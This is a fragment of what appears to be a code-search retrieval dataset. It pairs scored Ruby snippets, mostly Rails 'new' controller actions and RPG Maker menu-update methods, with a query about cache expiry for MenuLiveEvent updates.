"docid": "a83173640f77272bfb6f58a0a65c7e67", "score": "0.64319384", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64122814", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "97b295da7ba33c9018a8bfd306f9fb36", "score": "0.64114845", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "9b5a9dbb570be806bebefa2d9dcb44b1", "score": "0.6407713", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end", "title": "" }, { "docid": "9b5a9dbb570be806bebefa2d9dcb44b1", "score": "0.6407713", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end", "title": "" }, { "docid": "1c7e9dfb332f18c3e06be550ef911c60", "score": "0.6392341", "text": "def new\n @image = Image.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @image }\n end\n end", "title": "" }, { "docid": "603fcb66006a5d5d6d8adf7d5164f501", "score": "0.6388476", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.6385726", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.6385726", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.6385726", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.6385726", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.6385726", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "36082cbe2480ba8a783bc96d792b4edc", "score": "0.6385726", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image }\n end\n end", "title": "" }, { "docid": "51d54f87e2360f17e6d98a4e63fc399b", "score": "0.6381879", "text": "def new\n @image = Image.where(\"id is not ?\",nil)\n\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @image }\n end\n end", "title": "" }, { "docid": "9e087418b9dca20b399f54853b2a1705", "score": "0.63803285", "text": "def new2\n #does not allow attaching a picture\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.fbml # new.fbml.erb\n format.xml { render :xml => @listing }\n end\n end", "title": "" }, { "docid": "4163cbd1ddbf2a53d1c65fa1d212e264", "score": "0.6377887", "text": "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "title": "" }, { "docid": "4163cbd1ddbf2a53d1c65fa1d212e264", "score": "0.6377887", "text": "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "title": "" }, { "docid": "4163cbd1ddbf2a53d1c65fa1d212e264", "score": "0.6377887", "text": "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "title": "" }, { "docid": "4163cbd1ddbf2a53d1c65fa1d212e264", "score": "0.6377887", "text": "def new\n @album = Album.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "title": "" }, { "docid": "57bdc7008735e6338733738ea034c20b", "score": "0.63700634", "text": "def new\n @gallery_item = GalleryItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery_item }\n end\n end", "title": "" }, { "docid": "91fa0115a7f38442dc7c04b382f28e3d", "score": "0.63614756", "text": "def new\n @patient_photo = PatientPhoto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patient_photo }\n end\n end", "title": "" }, { "docid": "b7c922f501eed16ff74e049c5930166e", "score": "0.6360406", "text": "def new\n @photo = Photo.new\n @place = Place.find(params[:place_id]) \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "ff0a20e5cfd3d74270896be055ef788d", "score": "0.63593507", "text": "def new\n @upload = Upload.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @upload }\n end\n end", "title": "" }, { "docid": "7fd6924d25da2645795ddfbf32cc6831", "score": "0.6356339", "text": "def new\n @gallery_asset = GalleryAsset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery_asset }\n end\n end", "title": "" }, { "docid": "99cc465970522d55e10073ca463ecc78", "score": "0.63420177", "text": "def new\n @activity = Activity.find(params[:activity_id])\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "56d92c3d3264256b8ac3f61ddce4d9bf", "score": "0.6335685", "text": "def new\n @avatar = Avatar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @avatar }\n end\n end", "title": "" }, { "docid": "0a7ea2c36e964f836f7463e762ca4be7", "score": "0.633277", "text": "def new\n @event = Event.find(params[:event_id])\n @photo = Photo.new(:event => @event)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "6d9df19d9fbfdfecb9dcb10e56861d00", "score": "0.6329412", "text": "def new\n @map_image = MapImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @map_image }\n end\n end", "title": "" }, { "docid": "305e181e5b9805681ced35a8dc23d6a3", "score": "0.6325234", "text": "def new\n @property_picture = PropertyPicture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @property_picture }\n end\n end", "title": "" }, { "docid": "679042af496d73ebf30762da164b53ee", "score": "0.630059", "text": "def new\n @photo_admin = PhotoAdmin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo_admin }\n end\n end", "title": "" }, { "docid": "d762421cf8460c0448b2f0af768581bc", "score": "0.62899995", "text": "def new\n @image_store = ImageStore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image_store }\n end\n end", "title": "" }, { "docid": "043a7923e6f279f1196ce4f9f388dc75", "score": "0.6284304", "text": "def new\n @project = Project.find(params[:project_id])\n @picture = @project.pictures.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "ac7d7b8e7d011f0cdf99581dd2d10768", "score": "0.62719166", "text": "def new \n @album = Album.new(params[:album])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "title": "" }, { "docid": "9f8e3f2c0c01a131b5913a2b89ef42f5", "score": "0.62591535", "text": "def new\n \n @page = Page.new\n @page.images.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end", "title": "" }, { "docid": "34345a65ed950154fc37d51b25aa209c", "score": "0.6257371", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.xml { render :xml => @image }\n end\n end", "title": "" } ]
c0ffc0e3a1d773d746cd970d39aed3cc
If our sweeper detects that a MenuLiveEvent was updated call this
[ { "docid": "ad65487341ced4df79e8474bc2af1384", "score": "0.69364315", "text": "def after_update(menu_live_event)\n expire_cache_for(menu_live_event)\n end", "title": "" } ]
[ { "docid": "212f3f5cc944b42aa5ef123ac5eb8f77", "score": "0.66919684", "text": "def update\n\t\tsuper\n\t\t@current_menu.update\n\tend", "title": "" }, { "docid": "76ecefb3192460b8a06a24d2525655c9", "score": "0.6509302", "text": "def update_call_menu\n if Input.trigger?(Input::B)\n return if $game_map.interpreter.running? # Event being executed?\n return if $game_system.menu_disabled # Menu forbidden?\n $game_temp.menu_beep = true # Set SE play flag\n $game_temp.next_scene = \"menu\"\n end\n end", "title": "" }, { "docid": "591bd3d34330e05b7e0a67f24d40742f", "score": "0.64132255", "text": "def update_call_menu\n if $game_system.menu_disabled || $game_map.interpreter.running?\n @menu_calling = false\n else\n @menu_calling ||= Input.trigger?(:kESC) || Mouse.click?(3)\n @menu_calling = false if $game_system.story_mode?\n call_menu if @menu_calling && !$game_player.moving?\n end\n end", "title": "" }, { "docid": "591bd3d34330e05b7e0a67f24d40742f", "score": "0.64132255", "text": "def update_call_menu\n if $game_system.menu_disabled || $game_map.interpreter.running?\n @menu_calling = false\n else\n @menu_calling ||= Input.trigger?(:kESC) || Mouse.click?(3)\n @menu_calling = false if $game_system.story_mode?\n call_menu if @menu_calling && !$game_player.moving?\n end\n end", "title": "" }, { "docid": "ea8bac47472022e41a9b60a4e608c7b8", "score": "0.64068544", "text": "def update_call_menu\r\n if $game_system.menu_disabled || $game_map.interpreter.running?\r\n @menu_calling = false\r\n else\r\n @menu_calling ||= Input.trigger?(:B)\r\n call_menu if @menu_calling && !$game_player.moving?\r\n end\r\n end", "title": "" }, { "docid": "804945c3bf84b45dad9dda1f66b6184f", "score": "0.6329447", "text": "def update\n super\n after(6000) { pop_until_game_state(Menu) }\n end", "title": "" }, { "docid": "ba7777a36167d40a63d61339a5f9283c", "score": "0.63107646", "text": "def update_events!\r\n\t\tITEMS.each do |item_sym, item|\r\n\t\t\tnext unless item['map_id'] == $game_map.map_id\r\n\r\n\t\t\tevt = $game_map.events[item['event_id']]\r\n\t\t\tnext unless evt\r\n\r\n key = [item['map_id'], item['event_id'], \"A\"]\r\n\t\t\tif VariableService.item_taken?(item['id'])\r\n\t\t\t\t$game_self_switches[key] = false\r\n\t\t\t\tputs \"disabled #{item_sym}\"\r\n\t\t\telse\r\n\t\t\t\t$game_self_switches[key] = true\r\n\t\t\t\tputs \"enabled #{item_sym}\"\r\n\t\t\tend\r\n\r\n\t\t\tVariableService.golem_reinited = true\r\n\r\n \t$game_map.need_refresh = true\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "056167f6cefa60d9d300fb7308eadc4d", "score": "0.60971457", "text": "def update\n @_layer.update\n #@_solids_manager.update\n EventHandlers::Buttons.update\n Menu.update\n end", "title": "" }, { "docid": "52e285ac6996673edb7ae9167b09d7a9", "score": "0.60805935", "text": "def update\n \n if @client\n client = @client\n else\n parent_menu = @parent\n \n while not parent_menu.nil? and parent_menu.client.nil?\n parent_menu = parent_menu.parent\n end\n \n client = parent_menu.client unless parent_menu.nil? or parent_menu.client.nil?\n end\n \n if client\n \n @stored_items.select{ |mis| mis.added_to_screen == false }.each do |stored_item|\n menu_item = stored_item.menu_item\n \n response = client.send_command( Command.new( \"menu_add_item #{@id} #{menu_item.id.quotify} #{menu_item.lcdproc_type} #{menu_item.lcdproc_options_as_string}\" ) )\n \n if not response.successful?\n return nil\n else\n stored_item.added_to_screen = true\n end\n \n if not stored_item.menu_event.nil?\n client.register_menu_event( stored_item.menu_event )\n end\n \n if menu_item.respond_to? :update\n menu_item.send( :update )\n end\n \n end\n \n end\n \n end", "title": "" }, { "docid": "e982214f0ccaa92b5e51a1568539cead", "score": "0.60765207", "text": "def after_create(menu_live_event)\n expire_cache_for(menu_live_event)\n end", "title": "" }, { "docid": "1f28c86043e2e1a52fc5e1a5feccb18c", "score": "0.60438544", "text": "def update_call_menu\n unless MGC.new_tilemap_effect?\n update_call_menu_mgc_tilemap\n end\n end", "title": "" }, { "docid": "a5bd4852d6549041c3727a2a334204bd", "score": "0.59476465", "text": "def update_call_menu\n unless Layy_Meta.effect?\n update_call_menu_mgc_lm\n end\n end", "title": "" }, { "docid": "07ef36661a6ac3121102a2a3779a2e3c", "score": "0.59173244", "text": "def _trigger_update_callback; end", "title": "" }, { "docid": "dac46f7d81ff1637586f00cba04e07e7", "score": "0.5915253", "text": "def refreshed_called?\n if @menu_item == \"1a\"\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "2734aca8e14e31694f20b84969109134", "score": "0.5913968", "text": "def on_new(menu)\n reset_game\n end", "title": "" }, { "docid": "545f4954957ca90d5e1cec891ea42946", "score": "0.58728", "text": "def after_update() end", "title": "" }, { "docid": "545f4954957ca90d5e1cec891ea42946", "score": "0.58728", "text": "def after_update() end", "title": "" }, { "docid": "5d879ca12e0035b302ddaa3666377ae9", "score": "0.5718105", "text": "def after_destroy(menu_live_event)\n expire_cache_for(menu_live_event)\n end", "title": "" }, { "docid": "b45d3659a0969df6a5307029092bce73", "score": "0.57013196", "text": "def repaint # menu.repaint\n # OMG will not print anything if no items !\n # When we do item generation this list will be empty\n #return if @items.nil? or @items.empty? # commented 2011-09-24 NEWMENU\n #$log.debug \"menu repaint: #{text} row #{@row} col #{@col} \" \n @color_pair = get_color($reversecolor, @color, @bgcolor)\n if !@parent.is_a? Canis::MenuBar \n @parent.window.printstring( @row, 0, \"|%-*s>|\" % [@width-1, text], @color_pair)\n @parent.window.refresh\n end\n if @window.nil?\n #create_window\n else\n @window.show\n select_item 0\n @window.refresh\n end\n end", "title": "" }, { "docid": "51e15dc852749bb8cc4bdff239c3eb38", "score": "0.56996155", "text": "def menu_current!\n Vedeu.bind(:_menu_current_) do |name|\n Vedeu.menus.by_name(name).current_item\n end\n end", "title": "" }, { "docid": "10274e7f41997349e26cef8a0e821eac", "score": "0.5679764", "text": "def sample_menu_on_upgrade(plugin)\n end", "title": "" }, { "docid": "08b3f4bf75692b88436edee139638914", "score": "0.56497616", "text": "def guiUpdate(&block)\n yield\n guiAdded()\n end", "title": "" }, { "docid": "31618c24c8377a739ad5499ce48a75d5", "score": "0.5635094", "text": "def menu_selected!\n Vedeu.bind(:_menu_selected_) do |name|\n Vedeu.menus.by_name(name).selected_item\n end\n end", "title": "" }, { "docid": "d31fe4fe6696195626e40bbab7b6f3a0", "score": "0.56191784", "text": "def on_reload(menu=nil)\n win = main_papernet_window\n win.reload if win\n end", "title": "" }, { "docid": "3413980a3435dbf103d2d4e0e1007a18", "score": "0.5615454", "text": "def complete_game_menu(menu)\n TestGame.menu_proc&.call(menu)\n end", "title": "" }, { "docid": "75235c021cecab3c093431a91e763709", "score": "0.5543465", "text": "def update_scene_calling\n # Trigger the menu if the player press on the menu button\n if player_menu_trigger\n # We ensure we don't set the flag if it's not possible\n unless $game_system.map_interpreter.running? ||\n $game_system.menu_disabled || $game_player.moving? || $game_player.sliding?\n $game_temp.menu_calling = true\n $game_temp.menu_beep = true\n end\n end\n # We can call scene only if the player is not moving\n unless $game_player.moving?\n # All the thing to call because of end_step process\n send(*@update_to_call.shift) until @update_to_call.empty?\n Scene_Map.triggers.each do |method_name, block|\n if instance_exec(&block)\n send(method_name)\n break\n end\n end\n end\n end", "title": "" }, { "docid": "f44db26699e945aee681212ec78c6bda", "score": "0.55317354", "text": "def did_update\n trigger_events(:update)\n end", "title": "" }, { "docid": "9b3458de6bb3d14dceeb506f04eed5e0", "score": "0.5524291", "text": "def on_change\r\n $game_map.need_refresh = true\r\n end", "title": "" }, { "docid": "9b3458de6bb3d14dceeb506f04eed5e0", "score": "0.5524291", "text": "def on_change\r\n $game_map.need_refresh = true\r\n end", "title": "" }, { "docid": "2e536f188fa0b2e388ada7ba0cce72cc", "score": "0.5483413", "text": "def menu_prev!\n Vedeu.bind(:_menu_prev_) { |name| Vedeu.menus.by_name(name).prev_item }\n end", "title": "" }, { "docid": "79630a714b721fb6d298e29b17d56a85", "score": "0.54572684", "text": "def publish_menu\n CacheJson.new.delay.publish_menu(self.id)\n end", "title": "" }, { "docid": "8c7fc19dd0b8fb9dadae6bb32c415580", "score": "0.5452238", "text": "def signal_do_on_menu(command)\n end", "title": "" }, { "docid": "1c351130f0f52d0f0f266abfca8d3c54", "score": "0.54498124", "text": "def update\n super\n check_event_trigger_auto\n return unless @interpreter\n @interpreter.setup(@list, @event.id) unless @interpreter.running?\n @interpreter.update\n end", "title": "" }, { "docid": "8cd464c8a8b3f63c21858f8a3774b9d4", "score": "0.5433581", "text": "def sample_menu_on_active(plugin)\n end", "title": "" }, { "docid": "8c19b3ac27fcbc39627b26082c1bb921", "score": "0.54155415", "text": "def menu_script_click\n\t\treturn unless check_changes\n\t\tstr = sender.data.toString\n\t\trun_script_by_name(str)\n\tend", "title": "" }, { "docid": "32757365b5d060c65ed925e3862b8d71", "score": "0.5412033", "text": "def switch_alert_event\n # TODO: clean out selected item details\n display_items\n end", "title": "" }, { "docid": "2945a27c43bb9f3804188b7bb59f57cd", "score": "0.5409513", "text": "def after_upd_callback\n\t\t\tfire_updated_event\n\t\tend", "title": "" }, { "docid": "7cec3e629866a6c62790c5ab877d32a6", "score": "0.5408276", "text": "def update\n @live_event = MenuLiveEvent.find(params[:id])\n\n respond_to do |format|\n if @live_event.update_attributes(params[:menu_live_event])\n\t\t\t\tmsg = I18n.t('app.msgs.success_updated', :obj => I18n.t('app.common.menu_live_event'))\n\t\t\t\tsend_status_update(msg)\n format.html { redirect_to admin_menu_live_events_path, notice: msg }\n format.json { head :ok }\n else\n gon.edit_menu_live_event = true\n \t\tgon.menu_start_date = @live_event.menu_start_date.strftime('%m/%d/%Y %H:%M') if @live_event.menu_start_date\n \t\tgon.menu_end_date = @live_event.menu_end_date.strftime('%m/%d/%Y %H:%M') if @live_event.menu_end_date\n\t\t gon.data_available_at = @live_event.data_available_at.strftime('%m/%d/%Y %H:%M') if @live_event.data_available_at\n format.html { render action: \"edit\" }\n format.json { render json: @live_event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "306637826ca213516a4e53d800ff6fcc", "score": "0.54021454", "text": "def here_is_your_list\n @current_user.activities.reload.each { |activity| puts activity.name } \n sleep(3)\n main_option_menu\n end", "title": "" }, { "docid": "51297edf0e9aa430b1195e110e994646", "score": "0.5400311", "text": "def uhook_update_menu(menu)\n menu.update_attributes(params[:menu])\n end", "title": "" }, { "docid": "edb933b4ebd8800530456783329ecc6a", "score": "0.53894967", "text": "def sample_menu_on_inactive(plugin)\n end", "title": "" }, { "docid": "c40788a54beeaae58aab30613b07e74d", "score": "0.5384541", "text": "def after_change(game); end", "title": "" }, { "docid": "70a81a3f49c3791782abf1fd6e8b21e9", "score": "0.5379756", "text": "def current_event=(_arg0); end", "title": "" }, { "docid": "70a81a3f49c3791782abf1fd6e8b21e9", "score": "0.5379756", "text": "def current_event=(_arg0); end", "title": "" }, { "docid": "fd7f9bced66136bccde3f2371690f187", "score": "0.5371869", "text": "def on_update(&block)\n @on_update_forwarder = OnUpdateForwarder.new(block)\n end", "title": "" }, { "docid": "3725d7790aac822d3d5337c588250a2d", "score": "0.53697336", "text": "def update_old\n @menu = current_owner.menus.find(params[:id])\n session[:menu_params].deep_merge!(params[:menu]) if params[:menu]\n @categories = @menu.categories\n @menu.current_step = session[:menu_step]\n updated = false\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~FIRST CHECK : #{@menu.current_step}\"\n if params[:back_button]\n @menu.previous_step\n elsif @menu.last_step?\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~LAST STEP : #{@menu.current_step}\"\n @menu.update_attributes(session[:menu_params])\n updated = true\n else\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~BEFORE: NEXT STEP BLOCK #{@menu.current_step}\"\n @menu.next_step\n puts \"~~~~~~~~~~~~~~~~~~~~~~~~~~AFTER : NEXT STEP BLOCK #{@menu.current_step}\"\n end\n session[:menu_step] = @menu.current_step\n \n if updated\n session[:menu_steps]=session[:menu_params] = nil\n redirect_to @menu, notice: \"Menu was successfully updated.\"\n else\n render \"edit\"\n end\n end", "title": "" }, { "docid": "61471583b73ec876bc4f0306e94cc27c", "score": "0.5358348", "text": "def update(delta)\n @key_held_listeners.each do |key_code, value|\n if @manager.slick_input.key_down? key_code\n # post message\n @manager.scene.message_queue.post_message Message.new(@message, nil)\n end\n end\n end", "title": "" }, { "docid": "25fb7e39d982cf81bb89f703c993f853", "score": "0.5352664", "text": "def onUpdate(&block)\n set_event_proc(:onUpdate, block)\n end", "title": "" }, { "docid": "616843001023cc8024a257a2a58ed929", "score": "0.5333391", "text": "def event_triggered(event)\n\t\t\tend", "title": "" }, { "docid": "a7122cb29d9c69d8d16bae50ffafc318", "score": "0.5321036", "text": "def after_update\n end", "title": "" }, { "docid": "094c64cd9703bf652774ba574721b84e", "score": "0.5314924", "text": "def state_changed\n\t\tend", "title": "" }, { "docid": "a1ab87be51b07b3b79703402b48faf99", "score": "0.5300532", "text": "def stage_changed\n\t\t\tsend_each_player(:stage_changed)\n\t\t\t#p self\n\t\tend", "title": "" }, { "docid": "5b7063bb559c158519f365cdb51b1af8", "score": "0.5291821", "text": "def uhook_new_menu\n @forbid_item_creation = forbid_item_creation?\n ::Menu.translate(params[:from], current_locale)\n end", "title": "" }, { "docid": "dd2d90a7bbbd1bc045b3b935936ef334", "score": "0.5286093", "text": "def update\n after(1800) {\n previous_game_state.state = :screen_shown\n pop_game_state(:setup => false)\n }\n end", "title": "" }, { "docid": "1c0990aaea5a26cc6bd8c26a83578378", "score": "0.5282771", "text": "def update_menu_status\n if self.menu.present? && self.menu.categories.present? && self.menu.categories.length == 0\n self.menu.update_attributes(:publish_status => PENDING_STATUS)\n end\n end", "title": "" }, { "docid": "1dae7286b63670bb409b3aa72264f1d9", "score": "0.52817404", "text": "def update\n @cursor.x = @back.x + 8 + 30*@item_index\n @cursor.y = @back.y + 7\n @cursor.update\n Itens.each_index { |i|\n if Input.trigger?(Itens[i][3])\n @item_index = i\n @cursor.flash(Color.new(255,255,255,100), 30)\n Audio.se_stop\n Audio.se_play(Se_Trigger) if Se_Trigger != \"\"\n if Itens[i][1]\n $game_temp.reserve_common_event(Itens[i][2])\n else\n eval(Itens[i][2])\n end\n end\n }\n end", "title": "" }, { "docid": "d84a0317af901b2813375fb8f4d07566", "score": "0.52811337", "text": "def window_item_update(newItem)\n for i in 0 .. @item_max-1\n set_shopData_activity(@ucShopStatusList[i], false, false)\n if newItem != nil\n \n if @ucShopStatusList[i].actor.equippable?(newItem)\n \n equippedItem = get_equipped_item(newItem, @ucShopStatusList[i].actor)\n \n compareItem = ShopStatusCompare.new(newItem, equippedItem)\n \n if compareItem.is_same()\n @ucShopStatusList[i].cMsg.text = Vocab::status_equipped_text\n @ucShopStatusList[i].cMsg.font.color = Color.normal_color\n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n elsif compareItem.is_equivalent()\n @ucShopStatusList[i].cMsg.text = Vocab::status_equivalent_text\n @ucShopStatusList[i].cMsg.font.color = Color.normal_color\n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n else\n \n if compareItem.atkDifference != 0\n set_stat_value(@ucShopStatusList[i].ucAtkStat.cValue, compareItem.atkDifference)\n set_control_enabled(@ucShopStatusList[i].ucAtkStat, true, true)\n end\n \n if compareItem.defDifference != 0\n set_stat_value(@ucShopStatusList[i].ucDefStat.cValue, compareItem.defDifference)\n set_control_enabled(@ucShopStatusList[i].ucDefStat, true, true)\n end\n \n if compareItem.spiDifference != 0\n set_stat_value(@ucShopStatusList[i].ucSpiStat.cValue, compareItem.spiDifference)\n set_control_enabled(@ucShopStatusList[i].ucSpiStat, true, true)\n end\n \n if compareItem.agiDifference != 0\n set_stat_value(@ucShopStatusList[i].ucAgiStat.cValue, compareItem.agiDifference)\n set_control_enabled(@ucShopStatusList[i].ucAgiStat, true, true)\n end\n \n if compareItem.evaDifference != 0\n set_stat_value(@ucShopStatusList[i].ucEvaStat.cValue, compareItem.evaDifference)\n set_control_enabled(@ucShopStatusList[i].ucEvaStat, true, true)\n end\n \n if compareItem.hitDifference != 0\n set_stat_value(@ucShopStatusList[i].ucHitStat.cValue, compareItem.hitDifference)\n set_control_enabled(@ucShopStatusList[i].ucHitStat, true, true)\n end\n end\n else\n @ucShopStatusList[i].cMsg.text = Vocab::status_cantequip_text\n @ucShopStatusList[i].cMsg.font.color = Color.power_down_color\n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n end \n else\n @ucShopStatusList[i].cMsg.text = Vocab::status_cantequip_text\n @ucShopStatusList[i].cMsg.font.color = Color.power_down_color \n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n end \n end\n refresh()\n end", "title": "" }, { "docid": "d84a0317af901b2813375fb8f4d07566", "score": "0.52811337", "text": "def window_item_update(newItem)\n for i in 0 .. @item_max-1\n set_shopData_activity(@ucShopStatusList[i], false, false)\n if newItem != nil\n \n if @ucShopStatusList[i].actor.equippable?(newItem)\n \n equippedItem = get_equipped_item(newItem, @ucShopStatusList[i].actor)\n \n compareItem = ShopStatusCompare.new(newItem, equippedItem)\n \n if compareItem.is_same()\n @ucShopStatusList[i].cMsg.text = Vocab::status_equipped_text\n @ucShopStatusList[i].cMsg.font.color = Color.normal_color\n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n elsif compareItem.is_equivalent()\n @ucShopStatusList[i].cMsg.text = Vocab::status_equivalent_text\n @ucShopStatusList[i].cMsg.font.color = Color.normal_color\n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n else\n \n if compareItem.atkDifference != 0\n set_stat_value(@ucShopStatusList[i].ucAtkStat.cValue, compareItem.atkDifference)\n set_control_enabled(@ucShopStatusList[i].ucAtkStat, true, true)\n end\n \n if compareItem.defDifference != 0\n set_stat_value(@ucShopStatusList[i].ucDefStat.cValue, compareItem.defDifference)\n set_control_enabled(@ucShopStatusList[i].ucDefStat, true, true)\n end\n \n if compareItem.spiDifference != 0\n set_stat_value(@ucShopStatusList[i].ucSpiStat.cValue, compareItem.spiDifference)\n set_control_enabled(@ucShopStatusList[i].ucSpiStat, true, true)\n end\n \n if compareItem.agiDifference != 0\n set_stat_value(@ucShopStatusList[i].ucAgiStat.cValue, compareItem.agiDifference)\n set_control_enabled(@ucShopStatusList[i].ucAgiStat, true, true)\n end\n \n if compareItem.evaDifference != 0\n set_stat_value(@ucShopStatusList[i].ucEvaStat.cValue, compareItem.evaDifference)\n set_control_enabled(@ucShopStatusList[i].ucEvaStat, true, true)\n end\n \n if compareItem.hitDifference != 0\n set_stat_value(@ucShopStatusList[i].ucHitStat.cValue, compareItem.hitDifference)\n set_control_enabled(@ucShopStatusList[i].ucHitStat, true, true)\n end\n end\n else\n @ucShopStatusList[i].cMsg.text = Vocab::status_cantequip_text\n @ucShopStatusList[i].cMsg.font.color = Color.power_down_color\n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n end \n else\n @ucShopStatusList[i].cMsg.text = Vocab::status_cantequip_text\n @ucShopStatusList[i].cMsg.font.color = Color.power_down_color \n set_control_enabled(@ucShopStatusList[i].cMsg, true, true)\n end \n end\n refresh()\n end", "title": "" }, { "docid": "ddb7a29c08b73754ab7ccbfac9c0f785", "score": "0.5273109", "text": "def on_map_choice\n @return_data = $game_variables[Yuki::Var::Party_Menu_Sel] = @index\n @running = false\n end", "title": "" }, { 